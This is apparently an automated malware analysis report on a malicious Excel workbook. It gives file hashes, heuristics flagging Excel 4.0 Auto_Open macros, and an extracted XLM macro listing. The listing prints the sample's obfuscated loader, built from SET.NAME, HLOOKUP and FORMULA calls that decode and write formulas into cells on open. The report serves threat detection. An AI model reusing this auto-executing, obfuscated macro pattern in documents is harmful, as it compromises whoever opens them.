Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e5e6891e829363c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:06 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: d745089b5af38d2142da35374706c21d SHA-1: 364f29890c2bf3e96e2096bc1ec8171e9833913f SHA-256: 4e5e6891e829363c5dd26d4b1c9a80d38840f27ff31cc97e050e562b1e1315b2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6494 bytes
SHA-256: a99cbdc3b91635a61e0affdc668b66c9a3b35510dff828def37db035c2a88fd5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WbKe
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I173 
' 0018     26 LABEL : Cell Value, String Constant - AxCwSqrdwwQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - dZDUpVDmCe len=0 
' 0018     25 LABEL : Cell Value, String Constant - EiYvNrtvbu len=0 
' 0018     25 LABEL : Cell Value, String Constant - gdCMXugorA len=0 
' 0018     22 LABEL : Cell Value, String Constant - HClKvui len=0 
' 0018     23 LABEL : Cell Value, String Constant - HjBxtCqH len=0 
' 0018     20 LABEL : Cell Value, String Constant - jEvDl len=0 
' 0018     21 LABEL : Cell Value, String Constant - KlNpQZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - LozQZvkeukr len=0 
' 0018     24 LABEL : Cell Value, String Constant - MBNiFIVBJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - MKRfJWQlt len=0 
' 0018     26 LABEL : Cell Value, String Constant - nDAdBgKxMNQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - oeMGUFsAn len=0 
' 0018     27 LABEL : Cell Value, String Constant - qIqwiQnObrBk len=0 
' 0018     22 LABEL : Cell Value, String Constant - qpJXQsw len=0 
' 0018     27 LABEL : Cell Value, String Constant - rIFqDLpqdmgq len=0 
' 0018     23 LABEL : Cell Value, String Constant - UJYoGGBa len=0 
' 0018     26 LABEL : Cell Value, String Constant - VhurOsvHgJD len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZTtlGhh len=0 
' 0018     23 LABEL : Cell Value, String Constant - zvABRfyL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WbKe,I93,"SET.NAME("HClKvui",VALUE("0"))",""
'  WbKe,I96,"SET.NAME("MKRfJWQlt",HClKvui)",""
'  WbKe,I98,"SET.NAME("MBNiFIVBJ",HClKvui)",""
'  WbKe,I102,"SET.NAME("oeMGUFsAn",COUNTA(UJYoGGBa))",""
'  WbKe,I105,"SET.NAME("AxCwSqrdwwQ",COUNTA(qIqwiQnObrBk))",""
'  WbKe,I108,[],""
'  WbKe,I112,"SET.NAME("qpJXQsw","")",""
'  WbKe,I114,"MKRfJWQlt",""
'  WbKe,I117,"SET.NAME("VhurOsvHgJD",HLOOKUP("*",UJYoGGBa,MKRfJWQlt,FALSE))",""
'  WbKe,I120,"ZTtlGhh",""
'  WbKe,I123,"SET.NAME("dZDUpVDmCe",HClKvui)",""
'  WbKe,I127,[],""
'  WbKe,I131,"dZDUpVDmCe",""
'  WbKe,I134,"nDAdBgKxMNQ",""
'  WbKe,I137,"KlNpQZ",""
'  WbKe,I142,"jEvDl",""
'  WbKe,I145,"SET.NAME("zvABRfyL",VALUE(HLOOKUP("*",qIqwiQnObrBk,jEvDl,FALSE)))",""
'  WbKe,I150,"rIFqDLpqdmgq",""
'  WbKe,I155,"qpJXQsw",""
'  WbKe,I158,"MBNiFIVBJ",""
'  WbKe,I160,NEXT(),""
'  WbKe,I162,"gdCMXugorA",""
'  WbKe,I164,"SET.NAME("f",INT(T(FORMULA(T(qpJXQsw)&"",""&T(gdCMXugorA)))))",""
'  WbKe,I166,"LozQZvkeukr",""
'  WbKe,I168,NEXT(),""
'  WbKe,I171,RETURN(),""
'  WbKe,I199,"SET.NAME("HjBxtCqH",I93)",""
'  WbKe,I204,"UJYoGGBa",""
'  WbKe,I207,"SET.NAME("qIqwiQnObrBk",R46C13)",""
'  WbKe,I209,"SET.NAME("LozQZvkeukr",217)",""
'  WbKe,I214,"SET.NAME("EiYvNrtvbu",9)",""
'  WbKe,I216,HjBxtCqH(),""
'  WbKe,I217,HALT(),""

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